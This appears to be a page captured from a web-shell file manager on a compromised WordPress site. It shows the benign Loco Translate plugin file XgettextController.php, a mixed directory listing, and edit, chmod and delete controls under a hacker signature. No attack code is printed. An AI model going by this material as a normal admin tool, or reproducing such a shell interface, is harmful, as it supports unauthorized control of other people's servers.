Submit
Path:
~
/
home
/
bfxleof
/
www
/
wp-content
/
plugins
/
loco-translate
/
src
/
ajax
/
File Content:
XgettextController.php
<?php /** * Ajax "xgettext" route, for initializing new template file from source code */ class Loco_ajax_XgettextController extends Loco_ajax_common_BundleController { /** * {@inheritdoc} */ public function render(){ $this->validate(); $bundle = $this->getBundle(); $project = $this->getProject( $bundle ); // target location may not be next to POT file at all $base = loco_constant('WP_CONTENT_DIR'); $target = new Loco_fs_Directory( $this->get('path') ); $target->normalize( $base ); if( $target->exists() && ! $target->isDirectory() ){ throw new Loco_error_Exception('Target is not a directory'); } // basename should be posted from front end $name = $this->get('name'); if( ! $name ){ throw new Loco_error_Exception('Front end did not post $name'); } // POT file shouldn't exist currently $potfile = new Loco_fs_File( $target.'/'.$name ); $api = new Loco_api_WordPressFileSystem; $api->authorizeCreate($potfile); // Do extraction and grab only given domain's strings $ext = new Loco_gettext_Extraction( $bundle ); $domain = $project->getDomain()->getName(); $data = $ext->addProject($project)->includeMeta()->getTemplate( $domain ); // additional headers to set in new POT file $head = $data->getHeaders(); $head['Project-Id-Version'] = $project->getName(); // write POT file to disk returning byte length $potsize = $potfile->putContents( $data->msgcat(true) ); // set response data for debugging if( loco_debugging() ){ $this->set( 'debug', array ( 'potname' => $potfile->basename(), 'potsize' => $potsize, 'total' => $ext->getTotal(), ) ); } // push recent items on file creation // TODO push project and locale file Loco_data_RecentItems::get()->pushBundle( $bundle )->persist(); // put flash message into session to be displayed on redirected page try { Loco_data_Session::get()->flash('success', __('Template file created','loco-translate') ); Loco_data_Session::close(); } catch( Exception $e ){ Loco_error_AdminNotices::debug( $e->getMessage() ); } // redirect front end to bundle view. Discourages manual editing of template $type = strtolower( $bundle->getType() ); $href = Loco_mvc_AdminRouter::generate( sprintf('%s-view',$type), array( 'bundle' => $bundle->getHandle(), ) ); $hash = '#loco-'.$project->getId(); $this->set( 'redirect', $href.$hash ); return parent::render(); } }
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
common
---
0755
ApisController.php
4590 bytes
0644
DiffController.php
1914 bytes
0644
DownloadConfController.php
945 bytes
0644
DownloadController.php
1900 bytes
0644
FsConnectController.php
7112 bytes
0644
FsReferenceController.php
7772 bytes
0644
MsginitController.php
6683 bytes
0644
PingController.php
647 bytes
0644
SaveController.php
3455 bytes
0644
SyncController.php
5940 bytes
0644
UploadController.php
3685 bytes
0644
XgettextController.php
2906 bytes
0644
class-sitemaps-admin.php
3665 bytes
0644
class-wpseo-statistics.php
1443 bytes
0644
class.pack.database.php
30838 bytes
0644
ctrl.package.php
17073 bytes
0644
duplicator.php
1781 bytes
0644
elFinderPlugin.php
3331 bytes
0644
elFinderVolumeDropbox.class.php
41782 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500-20260706072032.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class-20260623050500.php
48544 bytes
0644
elFinderVolumeLocalFileSystem.class.php
48544 bytes
0644
exceptions.php
708 bytes
0644
manager.php
14659 bytes
0644
module.php
1297 bytes
0644
setup.php
2699 bytes
0644
N4ST4R_ID | Naxtarrr